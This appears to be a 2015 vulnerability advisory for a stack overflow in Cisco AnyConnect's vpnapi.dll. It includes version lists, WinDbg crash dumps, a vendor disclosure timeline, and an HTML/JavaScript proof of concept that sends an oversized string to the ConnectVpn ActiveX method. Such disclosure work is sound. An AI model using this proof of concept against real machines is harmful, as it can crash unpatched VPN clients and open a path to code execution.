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  1. Aerosol
    ?<!-- Cisco AnyConnect Secure Mobility Client Remote Command Execution Vendor: Cisco Systems, Inc. Product web page: http://www.cisco.com Affected version: 2.x 3.0 3.0.0A90 3.1.0472 3.1.05187 3.1.06073 3.1.06078 3.1.06079 3.1.07021 3.1.08009 4.0.00013 4.0.00048 4.0.00051 4.0.02052 4.0.00057 4.0.00061 4.1.00028 Fixed in: 3.1.09005 4.0.04006 4.1.02004 4.1.02011 Summary: Cisco AnyConnect Secure Mobility Solution empowers your employees to work from anywhere, on corporate laptops as well as personal mobile devices, regardless of physical location. It provides the security necessary to help keep your organization’s data safe and protected. Desc: The AnyConnect Secure Mobility Client VPN API suffers from a stack buffer overflow vulnerability when parsing large amount of bytes to the 'strHostNameOrAddress' parameter in 'ConnectVpn' function which resides in the vpnapi.dll library, resulting in memory corruption and overflow of the stack. An attacker can gain access to the system of the affected node and execute arbitrary code. ========================================================================== (f48.10cc): Unknown exception - code 000006ba (first chance) (f48.10cc): C++ EH exception - code e06d7363 (first chance) (f48.10cc): C++ EH exception - code e06d7363 (first chance) (f48.10cc): Stack overflow - code c00000fd (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnapi.dll - eax=00232000 ebx=02df9128 ecx=00000000 edx=088f0024 esi=01779c42 edi=088f0022 eip=748b6227 esp=0032ea14 ebp=0032eab0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 vpnapi!ConnectIfcData::setConfigCookie+0x9195: 748b6227 8500 test dword ptr [eax],eax ds:002b:00232000=00000000 0:000> g (f48.10cc): Stack overflow - code c00000fd (!!! second chance !!!) eax=00232000 ebx=02df9128 ecx=00000000 edx=088f0024 esi=01779c42 edi=088f0022 eip=748b6227 esp=0032ea14 ebp=0032eab0 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 vpnapi!ConnectIfcData::setConfigCookie+0x9195: 748b6227 8500 test dword ptr [eax],eax ds:002b:00232000=00000000 0:000> d edi 088f0022 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0032 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0042 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0052 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0062 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0072 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0082 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0092 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 0:000> d edx 088f0024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 088f0094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. <12308000 B ---- >512150-512154 B First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\RPCRT4.dll - eax=004d2384 ebx=76e9b7e4 ecx=00193214 edx=00000000 esi=00193214 edi=00193738 eip=75440fc4 esp=00193000 ebp=00193008 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 RPCRT4!UuidCreate+0x835: 75440fc4 56 push esi 0:000> g (1a50.1e40): Stack overflow - code c00000fd (!!! second chance !!!) eax=004d2384 ebx=76e9b7e4 ecx=00193214 edx=00000000 esi=00193214 edi=00193738 eip=75440fc4 esp=00193000 ebp=00193008 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 RPCRT4!UuidCreate+0x835: 75440fc4 56 push esi 0:000> d eax 004d2384 46 75 6e 63 74 69 6f 6e-3a 20 43 6c 69 65 6e 74 Function: Client 004d2394 49 66 63 42 61 73 65 3a-3a 67 65 74 43 6f 6e 6e IfcBase::getConn 004d23a4 65 63 74 4d 67 72 0a 46-69 6c 65 3a 20 2e 5c 43 ectMgr.File: .\C 004d23b4 6c 69 65 6e 74 49 66 63-42 61 73 65 2e 63 70 70 lientIfcBase.cpp 004d23c4 0a 4c 69 6e 65 3a 20 32-35 38 30 0a 43 61 6c 6c .Line: 2580.Call 004d23d4 20 74 6f 20 67 65 74 43-6f 6e 6e 65 63 74 4d 67 to getConnectMg 004d23e4 72 20 77 68 65 6e 20 6e-6f 74 20 63 6f 6e 6e 65 r when not conne 004d23f4 63 74 65 64 20 74 6f 20-41 67 65 6e 74 2e 00 00 cted to Agent... 0:000> d 004d2404 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 004d2414 00 00 00 00 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA 004d2424 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 004d2434 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 004d2444 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 004d2454 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 004d2464 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 004d2474 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d esp+1500 00194500 00 00 00 00 f8 e6 28 00-ec 3c 85 74 04 00 00 00 ......(..<.t.... 00194510 ff ff ff ff 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00194520 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00194530 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00194540 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00194550 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00194560 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00194570 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ========================================================================== Tested on: Microsoft Windows 7 Professional SP1 (EN) Microsoft Windows 7 Ultimate SP1 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Vendor status: [25.03.2015] Vulnerability discovered. [28.03.2015] Vendor contacted. [29.03.2015] Vendor responds asking more details. [13.04.2015] Sent details to the vendor. [15.04.2015] Asked vendor for status update. [15.04.2015] Vendor opens case #PSIRT-0089839229, informing that as soon as incident manager takes ownership of the case they will be in contact. [22.04.2015] Asked vendor for status update. [28.04.2015] No reply from the vendor. [04.05.2015] Asked vendor for status update. [05.05.2015] Vendor assigns case PSIRT-0089839229, defect CSCuu18805 under investigation. [12.05.2015] Asked vendor for confirmation. [13.05.2015] Vendor resolved the issue, not sure for the release date. [14.05.2015] Asked vendor for approximate scheduled release date. [15.05.2015] Vendor informs that the defect is public (CSCuu18805). [19.05.2015] Asked vendor for release information. [19.05.2015] Vendor informs releases expected to be on June 7th for 3.1 MR9 and May 31st for 4.1 MR2. [11.06.2015] Vendor releases version 4.1.02011 and 3.1.09005 to address this issue. [13.06.2015] Public security advisory released. Advisory ID: ZSL-2015-5246 Advisory URL: [url]http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5246.php[/url] Vendor: [url]https://tools.cisco.com/bugsearch/bug/CSCuu18805[/url] 25.03.2015 --> <!DOCTYPE html> <html> <head> <title>Cisco AnyConnect Secure Mobility Client VPN API Stack Overflow</title> </head> <body> <button onclick="O_o()">Launch</button> <object id="cisco" classid="clsid:{C15C0F4F-DDFB-4591-AD53-C9A71C9C15C0}"></object> <script language="JavaScript"> function O_o() { //targetFile = "C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnapi.dll" //prototype = "Sub ConnectVpn ( ByVal strHostNameOrAddress As String )" //memberName = "ConnectVpn" //progid = "VpnApiLib.VpnApi" var netv = Array(255712).join("ZS"); var push = //~~~~~~~~~~~~~~~~~~~~~~~~// /*(()()())*/ "ZSZSZSZSZSZSZ"+ "SZSZSZSZSZSZSZS"+ "ZSZSZSZSZSZSZSZSZSZS"+ "ZSZSZSZSZSZSZSZSZSZSZSZS"+ "ZSZSZSZSZSZSZSZSZSZSZSZSZS"+ "ZSZSZSZ"+ "SZSZ" +"SZSZSZ"+ "SZSZSZ"+ "SZSZ" +"SZSZSZ"+ "SZSZS"+ "ZSZS" +"ZSZSZ"+ "SZSZS"+ "ZSZS" +"ZSZSZ"+ "SZSZS"+"ZSZSZ"+"SZSZS"+ "SZSZSZSZSZSZSZSZSZSZSZS"+ "ZSZSZSZSZSZSZSZSZSZSZSZSZ"+ "SZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZS"+ "ZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZ"+ "SZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZS"+ "ZSZSZSZ" +"SZSZSZSZSZSZ"+ "SZSZ"+ "SZSZSZS" +"ZSZSZSZSZSZSZS"+ "ZSZS"+ "ZSZSZSZ" +"SZSZSZSZSZSZSZ"+ "SZSZ"+ "SZSZSZSZ"+ "SZSZSZSZSZSZSZSZS"+ "ZSZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ" +"SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+ "SZ" +"SZ" +"SZ" +"SZ" +"SZ"+ "SZ"+ "SZ" +"SZ" +"SZ" +"SZ" +"SZ"+ "SZ"+ "S"+ "Z"+ "S"+ "Z"+ "S"+ "Z"+ "S"+ "Z"+ "S"+ "Z"+ "S"+ "S"+ "S"+ "Z"+ "S"+ "Z"+ "S"+ "S"; var godeep = netv.concat(push); cisco.ConnectVpn godeep } </script> </body> </html> Source
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